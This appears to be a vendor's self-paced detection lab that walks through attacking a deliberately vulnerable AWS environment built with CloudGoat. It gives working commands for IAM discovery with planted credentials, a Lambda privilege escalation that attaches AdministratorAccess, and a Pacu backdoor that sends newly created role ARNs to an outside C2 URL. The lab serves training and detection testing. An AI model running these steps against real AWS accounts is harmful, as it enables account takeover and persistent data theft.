Lambda Attack

Overview

This Detect for AWS Detection lab has been created to empower Vectra field staff and customers to run an attack scenario. This lab contains a number of scripts, supporting resources, and associated attacker narratives. The lab is intended to be self paced.

Scenario

An attacker finds AWS user credentials in a GitHub repository. These accidentals leaks can happen through misconfiguration of a. gitignore file. The attack consists of two parts. First attacker performs privilege escalation using Lambda. After the privilege escalation attacker creates a backdoor to a C2 server to steal roles.

Lambda Privilege Escalation

  • Stolen IAM credentials have limited access, but can assume IAM roles and query IAM details

  • After IAM discovery campaign, attacker discovers two roles
    • IAM role that has full Lambda access

    • IAM service role that has admin permissions that can only be assumed by Lambda service

  • Attacker assumes the Lambda Admin role

  • Attacker creates a privilege escalation Lambda

  • Attacker passes a high privilege Lambda service role

  • Attacker has achieved privilege escalation

Setup Backdoor to C2

  • Attacker pivots to pacu and uses escalated privileges to list Lambda functions

  • Attacker creates a new Lambda function
    • Function has CloudWatch events rule that will trigger when new IAM roles are created

Setup AWS Profile

Users will need some familiarity with their orgs requirements for aws cli/profiles. Before we start the lab a valid AWS admin profile must be configured to deploy the vulnerable infrastructure that will be the target of the attack lab. This profile is your AWS admin profile and will NOT be used in the attack other than to deploy the vulnerable infrastructure. The lab uses CloudGoat by Rhino Security Labs to deploy the scenario to your AWS account. CloudGoat has already been installed on the tools VM. This lab is using a forked version available here with additional scenario material.

  • Setup standard IAM user AWS profile for Cloudgoat. This account will need admin access in AWS. This will create or add a new profile in ~/.aws/config and ~/.aws/credentials. You will be prompted for:
    • Access Key ID

    • AWS Secret Access Key

    • Default region name

    • Default output format

aws configure --profile cloudgoat
  • Verify credentials are working

aws sts get-caller-identity --profile cloudgoat

Setup Cloudgoat

  • Run Cloudgoat config profile from home directory and set default profile name to cloudgoat

~/cloudgoat/cloudgoat.py config profile
  • Run Cloudgoat config whitlelist

  • Whitelist your IP to ~/cloudgoat/whitelist.txt. You can get your IP address by running curl ifconfig.io. You will need to include the CIDR prefix.

echo "`curl ifconfig.io`/32" > ~/cloudgoat/whitelist.txt

Create vulnerable infrastructure

  • Now that the tools are setup we will use Cloudgoat to setup vulnerable infrastructure in AWS.

  • Run the attack scenario

~/cloudgoat/cloudgoat.py create lambda_privesc
  • Collect the 4 outputs and copy them to a text file:
    • cloudgoat_output_aws_account_id

    • cloudgoat_output_chris_access_key_id

    • cloudgoat_output_chris_secret_key

    • cloudgoat_output_id

If you don’t capture these values they are saved to /home/ubuntu/cloudgoat

Start attack

At this point we have created vulnerable infrastructure in AWS using Cloudgoat. Starting as an anonymous outsider with no access or privileges.

  • Create a new aws profile with scenarios stolen credentials

aws configure --profile chris
  • Set the AWS Access Key ID and AWS Secret Access Key using the stolen Chris credentials (Chris was created by Cloudgoat)

  • Set the “Default region” to us-east-1 and the “Default output” format to json

  • Do discovery to find the username associated with the access key. Copy the username to a text file.

aws sts get-caller-identity --profile chris
username
  • With the username list all user policies and copy the policy ARN to your text file

aws iam list-attached-user-policies --user-name <associated user name> --profile chris
SetupInfra
  • Get current version of the policy using the ARN from the previous step

aws iam get-policy-version --policy-arn <ARN> --version-id v1 --profile chris

The policy allows the user to assume and list roles

GetPolicy
  • List the roles and copy the Role Name and ARN of the role name to your text file
    • You will need to append your cloudgoat_output_id from the cloudgoat output

aws iam list-roles --profile chris | grep cg-debug-role-<cloudgoat_output_id>
aws iam list-roles --profile chris | grep cg-lambdaManager-role-<cloudgoat_output_id>
  • Use the role name output to list the attached policies and copy the Policy Name and ARN output to your text file

aws iam list-attached-role-policies --role-name <debug role name> --profile chris
aws iam list-attached-role-policies --role-name <lambda manager role name> --profile chris
ListRolePolicies
  • From that output you can see
    • cg-debug-role-<cloudgoat_output_id> can be assumed by a Lambda

    • cg-lambdaManager-role-<cloudgoat_output_id> can be assumed by your user

  • Get the polices attached to the role we can assume

aws iam get-policy-version --policy-arn <lambdaManager policy ARN> --version-id v1 --profile chris
  • From the output we can see the role has Lambda Admin privileges

Create Lambda Function

To assume the role you will need the role ARN for cg-lambdaManager-role-lambda. If you need it again you can run aws iam list-roles --profile chris | grep cg-lambdaManager-role-<cloudgoat_output_id>>

  • Assume the role

aws sts assume-role --role-arn <Lambda Manager Role ARN> --role-session-name lambdaManager --profile chris
  • When you assume the role new security credentials displayed. You will need these to setup a new profile so copy them to your text tile

AssumeLambdaManagerRole
  • Create a new AWS profile

aws configure --profile lambdaManager
  • Set the AWS Access Key ID and AWS Secret Access Key using the assumed role credentials

  • Set the “Default region” to us-east-1 and the “Default output” format to json

  • Manually add the aws_session_token to the aws credentials file to the lambdaManager profile.

vi  ~/.aws/credentials
LambdaManagerKey
  • Create new file

touch lambda_function.py && vi lambda_function.py
  • Add below python script to the file and update with your discovered username aws sts get-caller-identity --profile chris

  • This is a python script so spacing is important!

import boto3
def lambda_handler(event, context):
        client = boto3.client('iam')
        response = client.attach_user_policy(UserName = '<username>', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
        return response
  • Zip the file

zip -q lambda_function.py.zip lambda_function.py
  • Deploy and assign the Lambda function with the Lambda admin role and name the function

  • This is the ARN from cg-debug-role-lambda_privesc discovered in a previous step by running aws iam list-roles --profile chris | grep cg-debug-role-lambda<cloudgoat_output_id>

  • Update the function name to include your initials

aws lambda create-function --function-name admin_function-<initials> --runtime python3.9 --role <Role ARN> --handler lambda_function.lambda_handler --zip-file fileb://lambda_function.py.zip --profile lambdaManager
  • Invoke the new function

aws lambda invoke --function-name admin_function-<initials> out.txt --profile lambdaManager
  • Test privilege escalation user policy was applied to Chris user with your discovered username aws sts get-caller-identity --profile chris

aws iam list-attached-user-policies --user-name <username> --profile chris
ListAttachedPolicies
  • You should have a new policy applied

C2 Backdoor

For this part of the attack we will use pacu

  • Start pacu from the shell session

~/pacu/cli.py
  • Create new session in pacu named chris

  • Add the keys from your AWS profile typing import_keys chris

  • Perform a basic discovery in pacu

run aws__enum_account
run iam__enum_permissions
run iam__enum_users_roles_policies_groups
run lambda__enum
run iam__bruteforce_permissions
Setup a backdoor C2 to steal role ARNs. This will require 3 inputs which you will need prior to proceeding
  • Role ARN from previous attack aws iam list-roles --profile chris | grep cg-debug-role-<cloudgoat_output_id>

  • User ARN aws sts get-caller-identity --profile chris

  • exfil-url https://commander-api.vectratme.com/addrole

Once you have the above values run the below in pacu.

run lambda__backdoor_new_roles --exfil-url https://commander-api.vectratme.com/addrole  --role-arn <role-arn> --arn <user-arn>
LambdaBackdoor

C2 backdoor has been set. Lets create a new role to test it (you don’t need to leave pacu). Add your initials to the role name. When you do this you are acting as the everyday AWS admin NOT the attacker. Notice you are now using the cloudgoat profile. If you do not have a policy document on your tools VM you can use: sample_policy

aws iam create-role --role-name S3Admin-<INITIALS> --assume-role-policy-document file://sample_assume_trust_policy.json  --profile cloudgoat
Now visit our C2 site https://commander.vectratme.com/ to verify
  • Navigate to C2 tab

  • Navigate to Backdoor IAM roles

  • Search you role name

C2

Now that the attacker has found the S3 role they can assume this role and do additional discovery